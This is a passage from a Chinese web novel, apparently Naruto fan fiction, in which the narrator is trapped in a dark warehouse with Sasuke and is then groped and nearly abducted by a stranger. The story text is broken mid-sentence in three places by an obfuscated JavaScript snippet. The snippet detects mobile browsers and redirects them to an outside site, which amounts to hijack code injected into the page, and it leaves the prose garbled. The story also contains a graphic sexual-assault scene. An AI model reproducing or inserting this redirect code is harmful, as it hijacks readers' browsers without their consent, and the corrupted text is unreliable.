我下意识低下头拿稳滑落的冰棒木棍,无意中发现正午的光照下,我的影子正落在地面,正午的日照角度本应该令我的影子显得短而黑。但这影子的轮廓却意外得臃肿肥大,就像是……就像是,这并不是我的影子。 当我抬起胳膊,把冰棒塞进嘴里的时候,地面上的影子,并没有随着我的动作而动作。 轻微的、冰冷的、仿佛幽魂般微弱的呼吸气流,掀起我后脑勺的几根发丝。 这湿冷的气流仿佛一道闪电,从我的后颈窜遍全身,令我浑身发麻,手指僵硬,血液瞬间冻结。 ……有人站在我的背后。 现在,此时此刻。 他在我身后,冷冷地盯着我。 这背后之人的影子,叠在了我的影子上。显得黑暗、臃肿而压抑。 就像一只展翼的鹰,用那宽大的羽翼,完全遮住了我,继而将我包裹起来。 呼吸间是仓库间材料堆放的尘土气息。 掌心潮热黏腻,后背满是冷汗,心跳声大得仿若擂鼓。 “……是鬼怪作祟!是鬼啊!” “那南贺川里淹死过人!” “工程队的人每晚都撞见鬼!!” 我用力掐了掐掌心,刺痛感。接着猝然转过身。 然而,就在我转身的瞬间,不知是风还是什么,嘭的一声,仓库的大门猛地关上了。 唯一的光源消失了。 黑暗中,伸手不见五指,周遭寂静无比,我只听见两个呼吸声。 一个急促、恐惧而惊惶绝望,随着我的呼吸节奏而变快,这是我的。 还有一个阴郁、冰冷且潮湿,就在我的对面。 咫尺之遥。 这个人刚才,就紧紧贴着我的后背站着,宛如猫科动物一般蛰伏着,悄无声息。 而我一无所知。 什么时候,怎么开始的,如何做到的。为什么会是我? 心脏扑通扑通狂跳起来。 吐息变得滚烫而急促。 未知让恐惧无限增殖。 我的手指开始颤抖,强迫自己冷静下来,握紧手机,鼓起勇气,摁亮了屏幕。 黑暗之中,一缕幽幽白光乍现。 一双无光的、黑漆漆的,乌玉般沉寂阴郁的冰冷双瞳,骤然自黑暗中浮现。 “啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993395|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 瞳孔骤然紧缩,血液在一瞬间逆流。 惊鸿一瞥间看见的画面落在视网膜中,挥之不去。 他在盯着我。 他在盯着我。 绝对没有认错,他在看着我。 好恐怖好恐怖好恐怖好恐怖好恐怖好恐怖。 两颗,黑色的,无机质的眼球。 冷漠又阴郁。 比我稍微高一些。 居高临下的。 俯视着我。 不知道就这样看了有多久。 没想到真的有个人在这里,我吓得踉跄了一步。这里本就是堆放杂物的仓库,手机屏幕的光亮只能照亮半米,黑暗中我不知道踩到了什么,就要往后倒去。 接着腰被人拉了一下,手掌贴着后腰,我这才惊魂未定地站稳。 我浑身都是冷汗,衣服黏在后背之上,连眼泪也没出息地吓出来了。整个人都僵硬住了,哆嗦着发抖。 我要死了我要死了我要死了不想死不想死不想死妈妈……妈妈…… “呜……呜呜……” 救命……救命…… 要、要打电话求救才是,现在,立刻就……紧急电话……小樱…… 手掌满是黏湿的汗水,手指在屏幕上打滑。 冰冷宽大的手掌也从紧紧贴着后腰,改为直接抓住我,力气大得惊人。具有力量感的五指隔着衣物,深深陷入腰部柔软的肉脂之中,拉近了我们之间的距离。 短暂的明亮过后,手机恢复了熄屏状态。 黑暗重新笼罩了这里。 我的心也直直坠了下去,仿若冰冷的铅块。 视网膜中还残留着些许雪花般的光点。 看不见,纯然的黑暗。寂静,宛如被鹰翼裹挟,又仿佛被乌黑巨蟒吞入蛇口。仓库里潮热,憋闷,压抑,喘息声越来越急促恐惧,心口那一小块拳头大小的肉块拼命彰显着存在感,强烈的恐惧带来呕吐欲,似乎要把勃勃跳动的心脏从喉咙里吐出来。 像是狮口垂死的鹿,一动不动,被咬住脖颈吮吸着鲜血,又像是被蛇缠上的猎物。因极度的惊恐而肢体僵硬,静静等待死亡的降临。 看不见,看不见。 黑暗融化成了黏稠阴冷的液体,宛如涨潮时的大海,一寸寸上浮,泥沼般的稠液从脚踝蔓延至头顶,淹没口鼻。 无法呼吸。 缺氧。 湿热。 意志逐渐模糊,像是高温下融化的沥青。 耳朵里满是自己惶急的心跳声,震耳欲聋。 只能通过触觉,感知对方的意图。那只环绕着自己的手臂正在动作,有力的手掌顺着腰窝往上攀援,仿若游过脊窝的冰凉细蛇。吞吐着猩红蛇信,一寸寸、一点点,摩挲、抚摸、按压、确认。 白净冷感的手指仿佛能透过皮肉与血液,直接触碰到内里的骨骼。他冷酷又专断地抚摸过每一寸雪白的肋骨,自血液间挤开竖琴般排列的骨骼,手指粗暴地在柔软温热的内脏之间翻搅调率,紧紧攥住心脏把玩揉捏。又以肋骨为琴,信手拨动并弹奏着血腥冷酷又令人心惊肉跳的人体之乐。 我仿佛是一架等待弹奏的乐器。 他在确认我是否完好无损。 他很快得出了答案。 “小心。”他冷淡地告诫。 在一个让人感到长得有些暧昧的停顿过后,他松开了我。最后离开的指尖,在我的后颈上留下触感鲜明的,滚烫的温度。 我的胸腔不住起伏,慢慢地又摁亮手机屏幕。 那双乌沉沉的锐利黑瞳下,是高挺的鼻梁与紧抿的嘴唇,色素淡薄。显得整个人宛如盛夏深井中未化的浮冰,清冷又孤傲。 他身上有微微的、清淡的荻花香气。宛若辽远的晴空。 青年黑发乌瞳,肌肤白皙,貌若好女。雪白的衬衣领口开得很低,露出隐约的胸肌,劲瘦有力的小臂上戴着一副黑色护腕,黑与白的对比鲜明色气,在微弱朦胧的光亮中,更有种雌雄莫辨般的,分不清性别的昳丽精致。 我瞪大眼睛,慢慢地松了口气:“佐助君?” 是鸣人和小樱青梅竹马的挚友,我们前不久还一起吃过烤肉。我认识他,他怎么会在这里? 还一声不吭地跟在我身后,好悬没把我吓死。 我惊魂未定,举着手机缓缓转过身,这才发现,我几分钟前差点摔下去的地方,躺着一地锋利的钢筋。 我登时眼皮一跳,心脏漏跳一拍,捂着心口后怕起来—— 若不是佐助及时拉住我,或许我方才就要被这些钢筋扎穿了。 14. 第 14 章 14、 我嘴唇嗫嚅了几下,到底还是小声道了谢,佐助冷淡地“嗯”了一声,不以为意。 二人一时无话。我忽然感觉手指一凉,原来是融化的奶油冰棒滴在了手指上,我连忙伸舌头去舔,又把快要融化的冰棒咬在嘴里,腾出手用手机照明,去按墙上的电灯开关。 啪嗒。 我一怔。 电灯没亮?是坏了吗? 啪嗒,啪嗒。我又试了几次,依旧不见灯亮起来。四周黑漆漆一片,只有手机屏幕散发着光亮,偶然瞥见身侧一个黑影,总是要被吓一跳,缓半拍才反应过来那是站在我身后的佐助。 ……简直就像黑猫一样。 关上大门的仓库内部空气不流通,在日照下更是如同蒸笼,很快就变得燥热憋闷起来。 呼吸不畅,我有些难受地拉了下衣领,伸手去推那扇被风吹关上的大门。 咦? 我愣住了。 好生奇怪。 大门推不动。 这简易仓库的大门也十分简易,只是普通的合页门,并不需要多大力气就能推开。 但我几乎把全身的力气都用上了,大门依旧纹丝不动。 这种情况,除非…… 我的心沉下去。 是有人在外面反锁了? 空气越来越闷热了,汗水从脸颊滑落。我下意识咬了几口所剩无几的冰棒,寻求商量似的看向一直一言不发的佐助。 ……嗯? 我注意到他的眼神,盯着我嘴里叼着的奶油冰棒。想了想,我拿出冰棒,小声问:“佐助君,也想吃吗?是附近商店买的,不是特别甜……”我记得那次和他吃烤肉的时候,他对端上来的甜品敬而远之,大概是不喜欢甜食。 但这里很闷热,的确会比较想吃冰凉的东西。 我有些庆幸自己的先见之明。 我和鸣人还有小樱的关系很好,之前念书时也经常这样分享食物。似乎别人饭盒里的食物就是比自己的更加美味呢。 虽然从前的朋友有次看到以后,把我拽到角落,很惊讶地偷偷问:“你就让那家伙喝你喝过的果汁?小樱就算了,鸣人是男生耶,至少换一根吸管吧!” “可是鸣人是我的好朋友,”我疑惑地说,“把好吃的食物分享给朋友,应该很正常吧……?我又不是特别自私的人。大家都这么做呀,我也吃过鸣人分享给我的,玖辛奈妈妈做的便当里的玉子烧。” “这是自私的问题吗,这根本就是间接……”快要抓狂的朋友忽然顿了一下,看着我沉默了一会儿,面色古怪地问,“我知道了,你们木叶挚友之间的风俗就是这样的吧?” “什么?” “……没什么,”朋友好像想开了什么,拍了拍我的肩膀,语重心长,“要小心啊,你这样很容易沾上奇怪的东西。” 接着就心事重重地离开了。 真奇怪。 我和佐助的关系虽然没有那么好,但他是我最要好的朋友们的青梅竹马,之前虽然有过误会,但他救了我,想来也不是什么坏蛋。我也想和他成为好朋友。 可谁知道佐助盯着我看了好一会儿,一言不发。 他的衬衣领口开得很低,青年发育成熟的喉结略显急促地滑动了一下。他的目光阴冷又不悦,注视着我手指上滴落的奶油,不由自主地吞咽了一下唾液。 冰凉的液体顺着指缝往下滑,很快就弄脏了手指。 晦暗的仓库里闷热压抑,潮热的汗水止不住分泌。 他看起来被这高温影响,耳尖微红,游移飘忽的目光显得有些滚烫。冰棒融化的速度更快了,手指上黏糊糊的。 我的心跳声莫名其妙加快了。 我蜷缩了一下手指。手机熄屏的时间到了,光线消失了。 黑暗中,我听见略显压抑急促地吞咽唾液时,湿润黏稠的液体划过燥热蠕动的喉管时,令人后背发毛的细微水声。 像是吮吸幼鹿鲜血的大型肉食猫科动物。 猎食者所带来的原始恐惧。 在我不安地按亮屏幕,重复了一遍之后,佐助却又冷淡地把脸别了过去,有些烦躁地蹙起眉,像是不想理我。 “轻浮。”他冷冷道,神情厌恶。 嗯……好吧! 我鼓着脸扁扁地咬了一口冰棒,窝囊地当做没有听见。 可能酷哥就是这样冷冰冰,语言和头发一样刺刺的,讲话不好听的吧! 我努力地把滴下来的奶油冰棒舔干净,三口两口把冰棒吃干净。用卫生纸把有些黏糊糊的手指擦干净,接着用纸巾把木棍裹起来,暂时放进了口袋,预备等出去的时候找地方丢掉。 做完这一切的时候,手机屏幕又暗掉了。我重新按亮屏幕,发现佐助在我的对面一直盯着我。 意识到他看到了什么,我顿时有些不好意思起来。 我是乡下出身,来东京都内读书的女孩。言谈举止上难免有些改不掉的,与生俱来的土气。 融化在手指上的奶油冰棒当然是用纸巾优雅又自然地擦掉,而不是穷酸又小气地、像没见过世面的穷鬼一样用舌头噗噜噗噜舔掉,连指缝也不放过。才比较符合东京都市丽人的形象。 在此之前,有时候去稍微高档一些的场所,我做出类似的土气举动,比如把掉在盘子外面的寿司夹起来吃掉,也会被周围的人投来异样的目光。 但佐助的注视显然要比那些目光更特殊。没有让人难堪的点评、讥讽与恶意,但是有更多、更多令人不安恐惧的血腥黑暗的、黏稠阴冷的物质,具有强烈的侵略性,让人情不自禁打了个寒颤。 我捏紧纸巾,木棍隔着纸巾硌着我的掌心。脸上全是在这憋闷燥热的空间里冒出来的汗珠。 纸巾擦过的手指依旧有些黏腻,上次被他咬破的指根明明早就恢复,在这样有如实质的阴郁注视下,却一抽一抽的,随着血管宕流鲜血的频率,隐隐作痛起来。 仿佛蛇尖锐的牙齿正咬在上面,注射着毒液。 他总是给我一种危险与压抑黑暗的感觉。 和就像太阳一样温暖,只要见到就会暖洋洋很幸福的小樱还有鸣人完全不一样。 佐助似乎背负了许多沉重的东西。 是因为家里的事吗? 听说之前佐助和兄长闹翻了,外出修行了三年才归来。毕竟是别人的家事,鸣人没有告诉我很详细的内容,只说宇智波一族是警察世家,许多亲戚都从事警察工作。佐助的父亲宇智波富岳,更是曾经的警视厅总监,非常厉害,为人正直又刚正不阿。佐助将来大概也会子承父业,考入警视厅吧。 出于对未来警察的基本信任,我主动与佐助商量起来:“这里的电灯好像坏了,门也推不开。是你进来之前把门关上的吗,佐助?” “不是我。”他说。 我顿时有种不好的预感,低头去看手机,果然信号消失了。不死心地开关机尝试了几次,依旧无法打电话,发邮件联络其他人也显示发送失败。 我和佐助被人反锁在仓库里了。 是什么人? 说起来方才听拉面店老板讲怪谈的时候就很在意了,去掉魑魅魍魉的那部分。工程队的遭遇其实还可以有另一种解释。 他们是遇到了威胁。 这里是日本,□□组织披着商业公司的皮,合法地存在。除了居酒屋、餐厅、风俗店、地下赌博这样的餐饮及娱乐业以外,建筑业也是□□组织巨额不法收入的来源。 我也并不是笨蛋,上班这段时间也了解过这方面的内容。 原本的工程队大概是遭到了某个组织的威胁,在工人频繁遭遇不测后,不得不选择中断与我司的合作。而编造鬼神之说,也是为了恫吓其他想要接下委托的工程队,令项目半途而废。 这样一来,就完全说得通了。 有人不想要这个项目落地。为什么?是宇智波集团的竞争者,畏惧于年底上线的月之眼企划的庞大影响力?我想到剪报上,千手集团与宇智波集团的宿怨。 会是那位叫千手扉间的二把手所为吗? 可并不是我妄自菲薄,我的企划案只是公司整个营销部门目前紧锣密鼓落实的线下项目之一。对于宇智波集团这样的庞然大物而言,同时段进行的营销方案不知凡几,耗资上亿的地毯式宣传方案更是如过江之鲫,我的方案只能算是大海的一滴水。 营销部的其他线下项目并没有遭到这样的阻拦。也就是说,对方的目的大概率不在月之眼企划。 那么,要说我的项目和其他项目唯一有不同的地方,那就是,这是罕见的,宇智波集团与千手集团投资的木叶大学的合作案。如果当初的批复者不是对木叶有旧情的带土,或许这个项目根本不会通过。 那个与我约在这里见面的,忽然转变态度的木叶方面的负责人,也大有古怪。 有人不想让宇智波与千手这两方合作?会是谁? 无论是谁,我都是那个人现在要处理的“绊脚石”。 仓库里闷热逼仄,担心摔倒在尖锐建筑材料上,我一动不动,站在原地不敢走动。稍微思考了几分钟就汗出如浆,头晕目眩,有些轻微的缺水与中暑了。 不管怎样,要先离开这里。 我对佐助说明了目前的情况,并询问他能否试着把门撞开。谁知道佐助却否定了我的猜测,冷冷道:“这不是冲你来的。” “咦?” 他说:“这大概是我哥干的。” 我更好奇了。 这对兄弟听起来不像血脉相连的家人,反而像是有仇冤的宿敌。 说起来,我还不知道佐助今天为什么来这里。 总不可能是跟着我来的吧。 他又不是缠上我的男鬼。 我试着问了他,大概是我运气不错。酷哥宇智波佐助一边在仓库里查验,一边冷淡地回答我。 他虽然看起来冷冰冰的,但对我总是有问必答,好像很有耐心的样子。不知道是不是我自我良好的错觉。 也或许是我沾了小樱和鸣人的光。他对我这个朋友的朋友,态度算得上温和(在酷哥领域)。 为了节省手机电量,我把屏幕的亮度调到了最小,不走动的时候就保持熄屏状态。可佐助就好像能够在黑暗中视物一样,旁若无人地在一片漆黑中走动。 说起来他那双没有高光的乌黑眼睛,的确很漂亮。就是黑暗中冷不丁看见,有些吓人。 担心他跌倒受伤,我按亮屏幕,小心地跟了上去,随时准备助他一臂之力。 这座仓库虽然占地很大,但堆满了建筑材料,难以通行。有时不慎碰落钢材,扬起的粉尘更是令人胸闷气短,难以呼吸。 在佐助言简意赅的叙述下,用我看过的狗血家庭伦理剧和警匪剧作为素材,我发挥想象力,大概拼凑出来了这样一个完全不知道是否是事实的故事。 在警察世家的宇智波,年幼的佐助有着一位非常优秀且出色的兄长。哥哥虽然十分忙碌,但很疼爱弟弟。兄弟二人感情很好。 但在几年前,已经成功加入警视厅,成为警部,功绩卓越,即将升任警视的哥哥,却在一次捣毁违禁走私药物的行动中,毫无征兆地出卖了队友,致使行动失败,损失惨重。 那之后更是彻底叛离了正道,投入了黑暗中。因为他的背叛,警视厅受到了巨大的损失,不少卧底警察的机密资料都被泄露了出去。 “事情传开后,父亲公开道歉,引咎辞职;母亲心碎欲绝,以泪洗面。”佐助淡淡道,“止水哥更是险些丢了性命。他失去了一只眼睛,伤好后再也无法待在搜查一课,只能转为幕后闲职,郁郁寡欢。”佐助顿了顿,眼神晦暗,咬着牙阴郁道,“这些全部都是哥哥的错,他是个自私自利又冷血无情的男人,对曾经的家人与挚友如此残忍。” 佐助难以相信这样的事实,在漫长的痛苦与自我折磨过后。他接受了现实,决定进行艰苦的修行,锻炼自己的能力,以进入警视厅搜查课为梦想,发誓亲手将背叛家族与职业信仰的兄长抓捕归案。 他虽然言简意赅,语气平淡,但能听出来佐助对自己兄长深深的憎恨。 这次佐助来到东京,除了为进入警视厅做准备,进行职前训练以外,也是因为他前不久私下里查到兄长最近的动向,哥哥所加入的□□组织在东京有活动的迹象,是以佐助一路追了过来。 而佐助的兄长最后消失的地方,就在这展台附近。 佐助今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我在此之前过的是普通人的生活,从小长大的乡下虽然也有□□组织,但都是规模很小的不良集会,很少能看见那种真正从事非法活动的大型组织。听到这样涉及数人生死的旧事,忍不住心脏怦怦直跳,追问细节。 “佐助的哥哥想要杀了你?他为什么要这样做,你不是他的亲弟弟吗?” 在这种天气把人反锁在完全不通风的危险仓库里,又掐断了手机信号,不让人求救。等到有人发现,被关起来的人,很有可能会因为缺水和中暑急性休克。如果发现得晚了,直接致死也不是没可能。 虽然我没有再次尝试撞门,但对方连电灯线都提前剪断了,心思如此缜密。门外大概也早就用重物堵起来了。 我匪夷所思,怎么会有这样心狠手辣的兄长呢?把自己的亲弟弟引到空无一人的仓库,然后反锁令其自然死亡。 杀人的手法干净利落,毫无破绽,又冷血得令人心惊。 我的猜测没有错,的确是□□组织。不过不是冲着我来的。 “嗯。”佐助直起身,冷冷道,“堕入黑暗的他,和我早已经不是一路人了。” 我这才发现他四处寻找,原来是找能够破墙而出的利器。 这毕竟是为了防止扬尘临时搭建的仓库,四周的墙壁并不厚,但却是金属,十分坚硬,无法徒手撕开。但使用利器,或许可以划开。 对方不可能把这么大一个仓库的外墙都用重物堵住。 想到这里,我也努力帮忙寻找起来。 但越找越是心中冰凉……加害者大概连这个都考虑到了。很长时间过去了,我们没有找到任何一件称手的工具。 心思如此缜密。 虽然并未见过身为加害者的佐助兄长,但这份精细到可怕的全盘操控,足以令人不寒而栗。让我隔空产生了恐惧之情。 想来便是佐助原本有什么联络手段,今日也“恰好”没有带在身上。 这是个有针对性的陷阱。 佐助查到的那些踪迹,或许也是他的哥哥故意放出来,请君入瓮的。 心脏犹如铅块坠了下去。 潮热、憋闷、压抑,在这里待的时间久了,即使是佐助也有些吃不消。他的衬衣被汗水打湿,白玉般的脸上更是显得汗水淋漓,仿佛被雨水浇透。只是一声不吭,不肯服输。 其实我的状态也好不到哪里去,眼前一阵阵发黑,缺氧,口渴,浑身滚烫,汗出如浆,想要喝水。太热了,脑袋昏沉沉的,有些想睡觉。 睡过去的话就完蛋了。 为了保持清醒,也为了展示我也想和佐助做好朋友的决心,我强迫自己和佐助说话:“佐助的哥哥叫什么呢?”我问,“说来也巧,我最近碰到的,姓宇智波的人还不少呢,搞不好遇到过你的哥哥。” 手机早就熄屏了,四周一片漆黑。大脑昏昏沉沉的,我已经忘记了要按亮屏幕,反应迟钝,表情呆呆地站在原地。 好热。呼吸不了。头好晕。天旋地转。我……刚刚问了什么? 想睡过去。 “你……”佐助看我嘴唇颤抖,面如金纸,表情陡然一变,快步走过来要问我些什么,却猛地闭上了嘴,黑暗中,我感到一双滚烫的手掌用力捂住我的嘴唇。 我瞪大眼睛,悚然一惊,混沌的意识清明了一瞬。 佐助抱着我在地上快速滚了一圈,他似乎在黑暗中也能看清,准确抱着我滚到一个由建筑材料围起来的死角。 怎么了? 佐助发现了什么? 他第一时间捂住我的嘴,大概就是让我不要出声。我明白他的意思,没有贸然尝试。只是静静等待。 紧张时刻分泌的肾上腺素让我清醒了许多,神思清明,身体没有那么虚弱难受了。但等肾上腺素衰退,我或许就没法撑下去了。 我的脊背紧紧贴着青年滚烫的胸膛。 汗水的味道,混合着荻花清冷的香气。他急促湿热的吐息吹过我的鬓发,手臂紧紧抱着我。 像是展翅的鹰,用羽翼把我裹了起来。 黑暗中,我听见自己急促的心跳声。 然后,慢慢地、慢慢地。 在我与紧紧抱着我的佐助,压到几近于无的呼吸声以外,我听见很远的地方,沙沙、沙沙。 像是衣摆摩擦地面。 这里还有另一个人。 他在靠近我们。 15. 第 15 章 15、 黑暗中,我屏气凝神,心念电转。 这个人是谁? 若是针对佐助,那对方自然不必还把自己也关在里面,只消把门一关,扬长而去,放任我们中暑休克即可,何必留下首尾。 若是针对我……我一个普通打工小妹,身无长物,有什么好针对的? 辨不清来者是友是敌,我便依着佐助的意思,一声不吭,等那人过来。 方才我和佐助对自己行迹想必已经被对方看在眼里。这下忽然没了声息,对方必然明白自己已经打草惊蛇,靠近时定会提起十二番心神应对。 敌在暗,我在明。 不好对付。 正思索间,手心里被塞了一个坚硬又锋利的薄片,我捏了下,似乎是什么金属。 我一怔。 佐助把东西塞给我以后,就轻轻放开了我。像一只轻盈的猫科动物一般,融入黑暗中。 我抱着膝盖,心脏怦怦直跳,聚精会神听着暗处传来的声音。 我什么声音也没有听见,紧张得浑身是汗。 不知道过了多久,我听见轻微的摩擦声,似乎有人正拖着什么重物走动,那人原本正往左侧走,已经渐渐远离了我。但就在我差点要放下心之际,不知他发现了什么,倏然顿住。用鼻音“嗯?”了一声。 声音很低,有些冷淡。 在这悄无声息的黑暗中,宛如一声惊雷,将我劈开。从里到外都战栗起来。 脚步声朝我靠近了。 我紧紧握住刀片,压抑着急促的心跳声,刀片边缘十分锋利,掌心一阵阵刺痛。 那声音越来越近,越来越近。在方才的翻滚中,我的手机不知道掉在何处,不过便是在我手里,我也不敢点开。 在黑暗中陡然闪现的光亮,就像深海中的灯笼鱼一样显眼,引来灭顶之灾。 随着来人的靠近,我愈发紧张惶恐。 黑暗令我十分不安,我努力睁大眼睛,却什么也看不见。 唯有依靠听觉。 ——嚓。 摩擦声停止了。 他站在我的对面,一动不动。 我也浑身僵硬,躲在死角不敢动弹,将自己扁扁地挤在角落,生怕被人发现。 那人好半晌没有动静,只有些微的气流声。我思考了半晌,陡然意识到,他是在不停嗅闻空气里的某种味道。 像巡猎的、寻找草丛中躲藏猎物的野兽。 他似乎格外迷恋自己所感知到的气味,仿佛上瘾了一般疯狂地嗅闻着,原本几近于无的呼吸声渐渐变得明显粗重起来,饥渴而不知餍足。 仿佛唾液分泌过多,他贪婪地吞咽了一下。 令人毛骨悚然。 重物落地声。 对方把拖着的重物随手丢在了地上,然后是布料的摩擦声。 他在我面前蹲了下来。 肾上腺素疯狂分泌,我几乎要尖叫出声。 有什么热热的东西,在轻轻触碰我的脸颊,顺着我湿润的眼角,落在我微微张开的嘴唇上。我惊骇欲绝,喉咙里“咕呜”了一声,用气声轻轻地、试探性地喊了一声:“……佐助?” 男人笑了下。 我的心落入谷底。 不是佐助的声音。 我握紧刀片,掌心满是湿滑的汗水。 “只不过来回收宇智波家的那个小鬼,”男人轻描淡写地说,拇指顺着我张开的嘴唇压进去,抵着我的舌头,喘息声难掩兴奋,“没想到有意外之喜……” 他像是极难忍受索取的冲动,极为迷恋地靠近了过来,仿佛闻到了令人目眩神迷的好东西。 仓库里压抑逼仄闷热,我的脸颊上全是汗水,这个人却毫不介意,就这样用柔软的嘴唇贴着我的肌肤,舔掉那些汗液。 我的后背霎时间爬满了鸡皮疙瘩,呼吸陡然加快。 湿热的舌头,滑腻的唾液,舌苔上细小的颗粒。 毫不舒适,反而又痛又痒。 像是大型猫科动物,带有倒刺的,足以剐下白骨上血肉的血腥舔舐。 喷吐在我脸颊上的湿热吐息犹如附骨之疽,令人不寒而栗。 滚烫的脸颊湿漉漉的,衣服已经被冷汗打湿,紧紧贴着后背。但更令我惊恐万状的是,他格外迷恋这股气息,仿佛发了癔症,嗅闻声很快变成了粗喘。 喘息不停,手指滚烫,捧着我的脑袋,俯下身,将口鼻埋在我的锁骨处深深呼吸。 面颊亲昵渴求地蹭着我,鼻尖难耐地耸动嗅闻着,纤长浓密的睫毛搔刮着肩颈。像是抱着猫薄荷打滚撒娇的猫科动物。 “好香……喜欢,好香……” 我的身上只有汗水的味道。 不明白他为什么表现得如此痴迷。 我的衣服也早就被汗水打湿,不再干燥。 【发不出来】 “放开我……!” 刀片应该划伤了他,我闻见了血腥味。 但他却愈发兴奋,制住我的手脚,将我压在墙角,滚烫的鼻息几乎要将我烧毁。 我尖叫着,他将膝盖抵进我乱动的双腿之中,钳制着我,贪婪地呼吸着。 他撕破丝袜,手指钻入丝袜的破洞里,在滑腻的肉脂上流连。 我的胯骨快要被他捏碎了。 我简直快要被这个疯子吓晕。 我恐惧得浑身发抖,眼泪迸溅,手掌上湿滑的不知道是汗水还是血液,几乎拿不住刀片:“我说了……放开我!!” 我割破了他的衣服,划伤了他的手臂,血液打湿了他的衣袖,我摸索着把手指插进他的伤口里,咬着牙陷入温热泥泞濡湿的狭缝,撕裂那道血腥的割伤。这本应该剧痛无比,足以使人休克,却让他更加兴奋起来了。 他兴奋地喘着气,紧紧抱住我,似乎将我伤害他的行为理解成我的主动拥抱,愣怔了几秒,有些不知所措与受宠若惊。低声道:“噢?是爱情表现啊……没错,我也爱你……” 甜蜜又惊悚的告白。 疯子。 我开始感到惊恐与绝望。 他狂热得不管不顾。疼痛和血腥气令他更加疯狂,在疼痛中发了疯似的贴着我不停嗅闻舔吻,好像我是一大块浓缩猫薄荷。 男人的手指重重按在我的眼下,抚摸的力度几乎要撕裂我的脸颊。与其说是爱怜,不如说是捕食者的侵略与进攻、进食行为。 “这里有黑眼圈啊,怎么了?”他淡淡地询问,“工作很辛苦吗?你看起来不太会照顾自己……” 与他诡异到令人不寒而栗的疯狂行为不同,他的嗓音低沉而冷淡,仿佛清醒地认知到自己在做什么,十分割裂。 好可怕好可怕好可怕好可怕好可怕好可怕好可怕好可怕好可怕好可怕。 我小声抽噎起来。 “你把佐助怎么样了?”我问,“你不要这样做好不好,好吓人……我很害怕,放开我可以吗?” 然后是干燥的嘴唇和滚烫的肌肤。 “这里和这里也不像样……你这样弱小的、毫无力量的生物是很容易死亡的。”他说,“每天要喝足够的水才行。还是说,”他的声音放低了,“你更喜欢我喂给你?” 手指暧昧地在嘴唇上摩擦着。 我嗫嚅了一下,凶悍地恐吓他:“我已经打电话报警了,你最好快点离开!如果你现在就走,我可以和警官先生们说什么人也没有遇见。这里很黑,我根本不知道你长什么样,你可以放心。” 浑身都很痛,他干脆把我打横抱起来:“虽然是为了回收那个小鬼才跑一趟的,不过,显然有更重要的发现需要带回去,这次就放过那家伙。想必辉夜见到你,也会同意我的做法。” 他就这样把我抱着往前走。 “你要带我去哪里……”我的声音渐渐变成尖叫,“佐助?!佐助?!” 我又踢又拽,又抓又挠,用尽浑身力气扑腾挣扎。 “放开我!放开我!!” “要给你换身更可爱的衣服才行啊,辉夜那里应该有很多适合你的漂亮的和服吧?她一直都很想要一个可以用来当作洋娃娃一般打扮的可爱女儿,这下终于能够如愿以偿了……” 我吓得号啕大哭起来,发狠似的用力撕咬:“你干什么?!你放开我!我不要和你走!疯子!有病!救命!!佐助?!” “居住的地方也要更换,虽然目前的庭院也很大,不过公主就应该住在更豪华的城堡里,等待着别人将一切最珍贵的宝物献给她。我会亲自挑选最适合你的房间,每一个摆设都将由我过目。” 他说话时,我的脸颊上有发丝柔软的触感。 他似乎是长发,我用手指摸索了下,男人脸颊两侧用发带绑着辫子,当他低头靠近我的时候,辫子就落在我的脸颊上。 鼻子很高,嘴唇柔软,眼睛周围的睫毛又浓又密,眉毛剃成了麻吕眉。在我触摸他的五官时,甚至挑了挑眉,细心地调整了下抱着我的姿势,方便我的触碰。 我决心要记住他的所有特征,等跑掉以后让警察绘制出画像,最后抓到他。 我闭上嘴巴,节省体力不再说话,偷偷把摸到的男人掉落的发丝攥在手心。但男人却停下脚步,听了会儿动静,不悦地拧眉“啧”了一声,显然有他意料之外的事情发生了。 “耽误了一点时间……碍事的小鬼,真是难缠。” 这件事似乎比较棘手,他无法独自裁决,于是和什么人联系了一下,我听见他称呼对面那个清冷柔媚的女声为“辉夜”,二人似乎是姐弟关系。只是通话的内容,我完全不解其意,只知道这二人好像和宇智波与千手都不太对付,这隐约与他们那个叫“阿修罗”的手足有关。 施工队被骚扰停工,木叶与宇智波集团的合作停滞,种种古怪之处,想来是这二人暗中所为。 “我明白了,辉夜,”名为因陀罗的男人最后一锤定音说,“这次就这么办吧。” 男人思索了片刻,动作温柔地把我放在地上,我警惕地盯着他。在窸窸窣窣的动静过后,我被一个残留着血腥气的袍子裹了起来。 一个湿润轻柔的吻落在我的额头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993397|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我惴惴不安,如临大敌。 “抱歉,下次再来接你回去,”他理所当然地承诺道,“等我处理好手上堆积的麻烦事。” 因陀罗离开了。 我死死捏着手里的刀片,胆战心惊等了片刻。 我没有等很久,很快,我的手臂就被一双颤抖的手掌大力攥住了。那双手急促地在我的身上摸索了一阵,检查我是否有受伤,我紧紧握着刀片,小心翼翼地问:“佐助?” “嗯。”他淡淡道,“是我。” 顿了一下,他补充道:“……已经安全了。” “你终于回来了!” 